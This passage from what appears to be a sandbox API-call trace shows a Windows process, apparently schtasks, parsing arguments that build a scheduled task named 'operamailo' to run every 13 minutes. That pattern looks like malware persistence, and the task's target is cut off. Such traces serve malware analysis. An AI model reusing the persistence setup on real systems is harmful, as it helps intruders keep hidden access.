(lpString="|tn|") returned 4 [0136.641] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0136.641] SetLastError (dwErrCode=0x490) [0136.641] lstrlenW (lpString="run") returned 3 [0136.641] lstrlenW (lpString="run") returned 3 [0136.641] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.641] lstrlenW (lpString="tn") returned 2 [0136.641] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.641] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|run|") returned 5 [0136.641] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|tn|") returned 4 [0136.641] lstrlenW (lpString="|run|") returned 5 [0136.641] lstrlenW (lpString="|tn|") returned 4 [0136.641] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0136.641] SetLastError (dwErrCode=0x490) [0136.641] lstrlenW (lpString="end") returned 3 [0136.641] lstrlenW (lpString="end") returned 3 [0136.641] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.641] lstrlenW (lpString="tn") returned 2 [0136.641] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.641] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|end|") returned 5 [0136.642] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|tn|") returned 4 [0136.642] lstrlenW (lpString="|end|") returned 5 [0136.642] lstrlenW (lpString="|tn|") returned 4 [0136.642] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0136.642] SetLastError (dwErrCode=0x490) [0136.642] lstrlenW (lpString="showsid") returned 7 [0136.642] lstrlenW (lpString="showsid") returned 7 [0136.642] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.642] GetProcessHeap () returned 0x440000 [0136.642] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45c220) returned 1 [0136.642] GetProcessHeap () returned 0x440000 [0136.642] RtlReAllocateHeap (Heap=0x440000, Flags=0xc, Ptr=0x45c220, Size=0x16) returned 0x45c220 [0136.642] lstrlenW (lpString="tn") returned 2 [0136.642] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.642] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|showsid|") returned 9 [0136.642] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|tn|") returned 4 [0136.642] lstrlenW (lpString="|showsid|") returned 9 [0136.642] lstrlenW (lpString="|tn|") returned 4 [0136.642] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0136.642] SetLastError (dwErrCode=0x490) [0136.642] SetLastError (dwErrCode=0x490) [0136.642] SetLastError (dwErrCode=0x0) [0136.642] lstrlenW (lpString="/tn") returned 3 [0136.642] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0136.642] SetLastError (dwErrCode=0x490) [0136.642] SetLastError (dwErrCode=0x0) [0136.643] lstrlenW (lpString="/tn") returned 3 [0136.643] GetProcessHeap () returned 0x440000 [0136.643] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x8) returned 0x45c1c0 [0136.643] GetProcessHeap () returned 0x440000 [0136.643] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45cbd0 [0136.643] SetLastError (dwErrCode=0x0) [0136.643] SetLastError (dwErrCode=0x0) [0136.643] lstrlenW (lpString="operamailo") returned 10 [0136.643] lstrlenW (lpString="-/") returned 2 [0136.643] StrChrIW (lpStart="-/", wMatch=0x6f) returned 0x0 [0136.643] SetLastError (dwErrCode=0x490) [0136.643] SetLastError (dwErrCode=0x490) [0136.643] SetLastError (dwErrCode=0x0) [0136.643] lstrlenW (lpString="operamailo") returned 10 [0136.643] StrChrIW (lpStart="operamailo", wMatch=0x3a) returned 0x0 [0136.643] SetLastError (dwErrCode=0x490) [0136.643] SetLastError (dwErrCode=0x0) [0136.643] lstrlenW (lpString="operamailo") returned 10 [0136.643] GetProcessHeap () returned 0x440000 [0136.643] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x16) returned 0x45d4c0 [0136.643] GetProcessHeap () returned 0x440000 [0136.643] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45cc00 [0136.643] SetLastError (dwErrCode=0x0) [0136.643] SetLastError (dwErrCode=0x0) [0136.643] lstrlenW (lpString="/sc") returned 3 [0136.643] lstrlenW (lpString="-/") returned 2 [0136.643] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0136.643] lstrlenW (lpString="?") returned 1 [0136.643] lstrlenW (lpString="?") returned 1 [0136.643] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.644] lstrlenW (lpString="sc") returned 2 [0136.644] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.644] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|?|") returned 3 [0136.644] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|sc|") returned 4 [0136.644] lstrlenW (lpString="|?|") returned 3 [0136.644] lstrlenW (lpString="|sc|") returned 4 [0136.644] SetLastError (dwErrCode=0x490) [0136.644] lstrlenW (lpString="create") returned 6 [0136.644] lstrlenW (lpString="create") returned 6 [0136.644] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.644] lstrlenW (lpString="sc") returned 2 [0136.644] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.644] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|create|") returned 8 [0136.644] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|sc|") returned 4 [0136.644] lstrlenW (lpString="|create|") returned 8 [0136.644] lstrlenW (lpString="|sc|") returned 4 [0136.644] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0136.644] SetLastError (dwErrCode=0x490) [0136.644] lstrlenW (lpString="delete") returned 6 [0136.644] lstrlenW (lpString="delete") returned 6 [0136.644] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.644] lstrlenW (lpString="sc") returned 2 [0136.644] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.644] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|delete|") returned 8 [0136.644] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|sc|") returned 4 [0136.645] lstrlenW (lpString="|delete|") returned 8 [0136.645] lstrlenW (lpString="|sc|") returned 4 [0136.645] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0136.645] SetLastError (dwErrCode=0x490) [0136.645] lstrlenW (lpString="query") returned 5 [0136.645] lstrlenW (lpString="query") returned 5 [0136.645] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.645] lstrlenW (lpString="sc") returned 2 [0136.645] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.645] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|query|") returned 7 [0136.645] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|sc|") returned 4 [0136.645] lstrlenW (lpString="|query|") returned 7 [0136.645] lstrlenW (lpString="|sc|") returned 4 [0136.645] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0136.645] SetLastError (dwErrCode=0x490) [0136.645] lstrlenW (lpString="change") returned 6 [0136.645] lstrlenW (lpString="change") returned 6 [0136.645] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.645] lstrlenW (lpString="sc") returned 2 [0136.645] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.645] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|change|") returned 8 [0136.645] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|sc|") returned 4 [0136.645] lstrlenW (lpString="|change|") returned 8 [0136.645] lstrlenW (lpString="|sc|") returned 4 [0136.645] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0136.645] SetLastError (dwErrCode=0x490) [0136.646] lstrlenW (lpString="run") returned 3 [0136.646] lstrlenW (lpString="run") returned 3 [0136.646] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.646] lstrlenW (lpString="sc") returned 2 [0136.646] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.646] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|run|") returned 5 [0136.646] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|sc|") returned 4 [0136.646] lstrlenW (lpString="|run|") returned 5 [0136.646] lstrlenW (lpString="|sc|") returned 4 [0136.646] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0136.646] SetLastError (dwErrCode=0x490) [0136.646] lstrlenW (lpString="end") returned 3 [0136.646] lstrlenW (lpString="end") returned 3 [0136.646] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.646] lstrlenW (lpString="sc") returned 2 [0136.646] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.646] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|end|") returned 5 [0136.646] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|sc|") returned 4 [0136.646] lstrlenW (lpString="|end|") returned 5 [0136.646] lstrlenW (lpString="|sc|") returned 4 [0136.646] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0136.646] SetLastError (dwErrCode=0x490) [0136.646] lstrlenW (lpString="showsid") returned 7 [0136.646] lstrlenW (lpString="showsid") returned 7 [0136.646] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.647] lstrlenW (lpString="sc") returned 2 [0136.647] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.647] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|showsid|") returned 9 [0136.647] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|sc|") returned 4 [0136.647] lstrlenW (lpString="|showsid|") returned 9 [0136.647] lstrlenW (lpString="|sc|") returned 4 [0136.647] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0136.647] SetLastError (dwErrCode=0x490) [0136.647] SetLastError (dwErrCode=0x490) [0136.647] SetLastError (dwErrCode=0x0) [0136.647] lstrlenW (lpString="/sc") returned 3 [0136.647] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0136.647] SetLastError (dwErrCode=0x490) [0136.647] SetLastError (dwErrCode=0x0) [0136.647] lstrlenW (lpString="/sc") returned 3 [0136.647] GetProcessHeap () returned 0x440000 [0136.647] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x8) returned 0x45dc90 [0136.647] GetProcessHeap () returned 0x440000 [0136.647] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45cc30 [0136.647] SetLastError (dwErrCode=0x0) [0136.647] SetLastError (dwErrCode=0x0) [0136.647] lstrlenW (lpString="MINUTE") returned 6 [0136.647] lstrlenW (lpString="-/") returned 2 [0136.647] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0136.647] SetLastError (dwErrCode=0x490) [0136.647] SetLastError (dwErrCode=0x490) [0136.647] SetLastError (dwErrCode=0x0) [0136.647] lstrlenW (lpString="MINUTE") returned 6 [0136.647] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0136.648] SetLastError (dwErrCode=0x490) [0136.648] SetLastError (dwErrCode=0x0) [0136.648] lstrlenW (lpString="MINUTE") returned 6 [0136.648] GetProcessHeap () returned 0x440000 [0136.648] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0xe) returned 0x45d4e0 [0136.648] GetProcessHeap () returned 0x440000 [0136.648] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45cc60 [0136.648] SetLastError (dwErrCode=0x0) [0136.648] SetLastError (dwErrCode=0x0) [0136.648] lstrlenW (lpString="/mo") returned 3 [0136.648] lstrlenW (lpString="-/") returned 2 [0136.648] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0136.648] lstrlenW (lpString="?") returned 1 [0136.648] lstrlenW (lpString="?") returned 1 [0136.648] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.648] lstrlenW (lpString="mo") returned 2 [0136.648] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.648] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|?|") returned 3 [0136.648] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|mo|") returned 4 [0136.648] lstrlenW (lpString="|?|") returned 3 [0136.648] lstrlenW (lpString="|mo|") returned 4 [0136.648] SetLastError (dwErrCode=0x490) [0136.648] lstrlenW (lpString="create") returned 6 [0136.648] lstrlenW (lpString="create") returned 6 [0136.648] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.648] lstrlenW (lpString="mo") returned 2 [0136.649] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.649] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|create|") returned 8 [0136.649] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|mo|") returned 4 [0136.649] lstrlenW (lpString="|create|") returned 8 [0136.649] lstrlenW (lpString="|mo|") returned 4 [0136.649] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0136.649] SetLastError (dwErrCode=0x490) [0136.649] lstrlenW (lpString="delete") returned 6 [0136.649] lstrlenW (lpString="delete") returned 6 [0136.649] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.649] lstrlenW (lpString="mo") returned 2 [0136.649] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.649] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|delete|") returned 8 [0136.649] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|mo|") returned 4 [0136.649] lstrlenW (lpString="|delete|") returned 8 [0136.649] lstrlenW (lpString="|mo|") returned 4 [0136.649] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0136.649] SetLastError (dwErrCode=0x490) [0136.649] lstrlenW (lpString="query") returned 5 [0136.649] lstrlenW (lpString="query") returned 5 [0136.649] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.649] lstrlenW (lpString="mo") returned 2 [0136.649] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.649] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|query|") returned 7 [0136.649] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|mo|") returned 4 [0136.650] lstrlenW (lpString="|query|") returned 7 [0136.650] lstrlenW (lpString="|mo|") returned 4 [0136.650] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0136.650] SetLastError (dwErrCode=0x490) [0136.650] lstrlenW (lpString="change") returned 6 [0136.650] lstrlenW (lpString="change") returned 6 [0136.650] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.650] lstrlenW (lpString="mo") returned 2 [0136.650] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.650] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|change|") returned 8 [0136.650] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|mo|") returned 4 [0136.650] lstrlenW (lpString="|change|") returned 8 [0136.650] lstrlenW (lpString="|mo|") returned 4 [0136.650] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0136.650] SetLastError (dwErrCode=0x490) [0136.650] lstrlenW (lpString="run") returned 3 [0136.650] lstrlenW (lpString="run") returned 3 [0136.650] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.650] lstrlenW (lpString="mo") returned 2 [0136.650] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.650] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|run|") returned 5 [0136.650] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|mo|") returned 4 [0136.650] lstrlenW (lpString="|run|") returned 5 [0136.650] lstrlenW (lpString="|mo|") returned 4 [0136.650] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0136.650] SetLastError (dwErrCode=0x490) [0136.651] lstrlenW (lpString="end") returned 3 [0136.651] lstrlenW (lpString="end") returned 3 [0136.651] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.651] lstrlenW (lpString="mo") returned 2 [0136.651] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.651] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|end|") returned 5 [0136.651] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|mo|") returned 4 [0136.651] lstrlenW (lpString="|end|") returned 5 [0136.651] lstrlenW (lpString="|mo|") returned 4 [0136.651] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0136.651] SetLastError (dwErrCode=0x490) [0136.651] lstrlenW (lpString="showsid") returned 7 [0136.651] lstrlenW (lpString="showsid") returned 7 [0136.651] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.651] lstrlenW (lpString="mo") returned 2 [0136.651] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.651] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|showsid|") returned 9 [0136.651] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|mo|") returned 4 [0136.651] lstrlenW (lpString="|showsid|") returned 9 [0136.651] lstrlenW (lpString="|mo|") returned 4 [0136.651] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0136.651] SetLastError (dwErrCode=0x490) [0136.651] SetLastError (dwErrCode=0x490) [0136.651] SetLastError (dwErrCode=0x0) [0136.651] lstrlenW (lpString="/mo") returned 3 [0136.651] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0136.651] SetLastError (dwErrCode=0x490) [0136.652] SetLastError (dwErrCode=0x0) [0136.652] lstrlenW (lpString="/mo") returned 3 [0136.652] GetProcessHeap () returned 0x440000 [0136.652] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x8) returned 0x45dcb0 [0136.652] GetProcessHeap () returned 0x440000 [0136.652] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45cc90 [0136.652] SetLastError (dwErrCode=0x0) [0136.652] SetLastError (dwErrCode=0x0) [0136.652] lstrlenW (lpString="13") returned 2 [0136.652] lstrlenW (lpString="-/") returned 2 [0136.652] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0136.652] SetLastError (dwErrCode=0x490) [0136.652] SetLastError (dwErrCode=0x490) [0136.652] SetLastError (dwErrCode=0x0) [0136.652] lstrlenW (lpString="13") returned 2 [0136.652] StrChrIW (lpStart="13", wMatch=0x3a) returned 0x0 [0136.652] SetLastError (dwErrCode=0x490) [0136.652] SetLastError (dwErrCode=0x0) [0136.652] lstrlenW (lpString="13") returned 2 [0136.652] GetProcessHeap () returned 0x440000 [0136.652] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x6) returned 0x45dcd0 [0136.652] GetProcessHeap () returned 0x440000 [0136.652] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45ccc0 [0136.652] SetLastError (dwErrCode=0x0) [0136.652] SetLastError (dwErrCode=0x0) [0136.652] lstrlenW (lpString="/tr") returned 3 [0136.652] lstrlenW (lpString="-/") returned 2 [0136.652] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0136.652] lstrlenW (lpString="?") returned 1 [0136.652] lstrlenW (lpString="?") returned 1 [0136.653] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.653] lstrlenW (lpString="tr") returned 2 [0136.653] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.653] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|?|") returned 3 [0136.653] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|tr|") returned 4 [0136.653] lstrlenW (lpString="|?|") returned 3 [0136.653] lstrlenW (lpString="|tr|") returned 4 [0136.653] SetLastError (dwErrCode=0x490) [0136.653] lstrlenW (lpString="create") returned 6 [0136.653] lstrlenW (lpString="create") returned 6 [0136.653] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.653] lstrlenW (lpString="tr") returned 2 [0136.653] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.653] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|create|") returned 8 [0136.653] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|tr|") returned 4 [0136.653] lstrlenW (lpString="|create|") returned 8 [0136.653] lstrlenW (lpString="|tr|") returned 4 [0136.653] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0136.653] SetLastError (dwErrCode=0x490) [0136.653] lstrlenW (lpString="delete") returned 6 [0136.653] lstrlenW (lpString="delete") returned 6 [0136.653] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.653] lstrlenW (lpString="tr") returned 2 [0136.653] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.653] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|delete|") returned 8 [0136.654] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|tr|") returned 4 [0136.654] lstrlenW (lpString="|delete|") returned 8 [0136.654] lstrlenW (lpString="|tr|") returned 4 [0136.654] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0136.654] SetLastError (dwErrCode=0x490) [0136.654] lstrlenW (lpString="query") returned 5 [0136.654] lstrlenW (lpString="query") returned 5 [0136.654] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.654] lstrlenW (lpString="tr") returned 2 [0136.654] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.654] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|query|") returned 7 [0136.654] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|tr|") returned 4 [0136.654] lstrlenW (lpString="|query|") returned 7 [0136.654] lstrlenW (lpString="|tr|") returned 4 [0136.654] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0136.654] SetLastError (dwErrCode=0x490) [0136.654] lstrlenW (lpString="change") returned 6 [0136.654] lstrlenW (lpString="change") returned 6 [0136.654] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.654] lstrlenW (lpString="tr") returned 2 [0136.654] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.654] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|change|") returned 8 [0136.654] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|tr|") returned 4 [0136.654] lstrlenW (lpString="|change|") returned 8 [0136.654] lstrlenW (lpString="|tr|") returned 4 [0136.655] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0136.655] SetLastError (dwErrCode=0x490) [0136.655] lstrlenW (lpString="run") returned 3 [0136.655] lstrlenW (lpString="run") returned 3 [0136.655] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.655] lstrlenW (lpString="tr") returned 2 [0136.655] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.655] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|run|") returned 5 [0136.655] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|tr|") returned 4 [0136.655] lstrlenW (lpString="|run|") returned 5 [0136.655] lstrlenW (lpString="|tr|") returned 4 [0136.655] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0136.655] SetLastError (dwErrCode=0x490) [0136.655] lstrlenW (lpString="end") returned 3 [0136.655] lstrlenW (lpString="end") returned 3 [0136.655] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.655] lstrlenW (lpString="tr") returned 2 [0136.655] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.655] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|end|") returned 5 [0136.655] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|tr|") returned 4 [0136.655] lstrlenW (lpString="|end|") returned 5 [0136.655] lstrlenW (lpString="|tr|") returned 4 [0136.655] StrStrIW 